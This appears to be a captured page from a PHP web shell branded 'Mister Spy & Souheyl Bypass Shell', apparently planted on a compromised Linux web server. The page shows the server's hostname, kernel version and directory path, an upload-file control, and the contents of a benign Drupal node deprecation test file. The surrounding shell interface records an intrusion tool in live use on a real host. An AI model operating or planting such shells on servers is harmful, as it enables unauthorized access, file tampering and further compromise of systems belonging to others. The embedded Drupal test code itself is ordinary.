Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/core/modules/node/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/core/modules/node/tests/src/Kernel/NodeDeprecationTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\node\Kernel;

use Drupal\KernelTests\KernelTestBase;
use Drupal\Core\Database\Connection;
use Drupal\Core\Datetime\DateFormatterInterface;
use Drupal\Core\Entity\EntityStorageInterface;
use Drupal\node\Form\NodeRevisionDeleteForm;

/**
 * Tests the deprecations in the node.module file.
 *
 * @group node
 * @group legacy
 */
class NodeDeprecationTest extends KernelTestBase {

  /**
   * {@inheritdoc}
   */
  protected static $modules = ['user', 'node'];

  /**
   * Tests the deprecation of node_revision_load.
   *
   * @see node_revision_load()
   */
  public function testNodeRevisionLoadDeprecation(): void {
    $this->installEntitySchema('node');
    $this->expectDeprecation('node_revision_load is deprecated in drupal:10.1.0 and is removed from drupal:11.0.0. Use \Drupal\Core\Entity\RevisionableStorageInterface::loadRevision instead. See https://www.drupal.org/node/3294237');
    node_revision_load(1);
  }

  /**
   * Tests the deprecation of node_revision_delete.
   *
   * @see node_revision_delete()
   */
  public function testNodeRevisionDeleteDeprecation(): void {
    $this->installEntitySchema('node');
    $this->expectDeprecation('node_revision_delete is deprecated in drupal:10.1.0 and is removed from drupal:11.0.0. Use \Drupal\Core\Entity\RevisionableStorageInterface::deleteRevision instead. See https://www.drupal.org/node/3294237');
    node_revision_delete(1);
  }

  /**
   * Tests the deprecation of node_type_update_nodes.
   *
   * @see node_type_update_nodes()
   */
  public function testNodeTypeUpdateNodesDeprecation(): void {
    $this->installEntitySchema('node');
    $this->expectDeprecation('node_type_update_nodes is deprecated in drupal:10.1.0 and is removed from drupal:11.0.0. Use \Drupal\Core\Entity\EntityStorageInterface::updateType instead. See https://www.drupal.org/node/3294237');
    node_type_update_nodes(1, 2);
  }

  /**
   * Tests the deprecation of NodeRevisionDeleteForm constructor.
   */
  public function testNodeRevisionDeleteFormConstructorDeprecation(): void {
    $this->expectDeprecation('Calling Drupal\node\Form\NodeRevisionDeleteForm::_construct() with the $connection argument is deprecated in drupal:10.1.0 and is removed from drupal:11.0.0. See https://www.drupal.org/node/3343754');
    new NodeRevisionDeleteForm(
      $this->createMock(EntityStorageInterface::class),
      $this->createMock(EntityStorageInterface::class),
      $this->createMock(Connection::class),
      $this->createMock(DateFormatterInterface::class),
    );
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net